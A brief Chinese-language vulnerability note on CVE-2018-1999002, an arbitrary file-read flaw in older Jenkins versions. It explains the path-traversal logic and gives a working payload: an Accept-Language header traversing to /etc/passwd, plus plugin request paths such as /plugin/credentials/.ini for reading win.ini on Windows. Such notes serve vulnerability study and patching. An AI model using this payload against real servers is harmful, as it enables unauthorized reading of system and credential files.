CVE-2018-1999002 任意文件读取
影响版本:Jenkins weekly 2.132 以及更早的版本。Jenkins LTS 2.121.1 以及更早的版本
可以读取Windows系统服务器中的任意文件,且在特定而条件下也可以读取Linux系统服务器中的文件.
详情:https://xz.aliyun.com/t/2486
结合payload来看,我们请求的url为/plugin/credentials/.ini
,则base
为空,扩展名(ext变量)即为.ini
,然后通过一系列的尝试openURL,在此例中即最后一个情形con = openURL(map(base+'_'+ locale.getLanguage()+ext));
,会去请求_../../../../../../../../../../../../windows/win.ini
,尽管目录_..
并不存在,但在win下可以直接通过路径穿越来绕过。但在linux,则需要一个带有_
的目录来想办法绕过。
需要已经开启了匿名用户读取权限,在请求头中添加
Accept-Language: /../../../../../../../../etc/passwd
处理请求中的包含路径,比如/plugin/xxxx,可以尝试
/plugin/jquery-detached/.xml
/plugin/jquery-detached/.key
/plugin/credentials/.ini
在Windows下这么使用
Last updated
Was this helpful?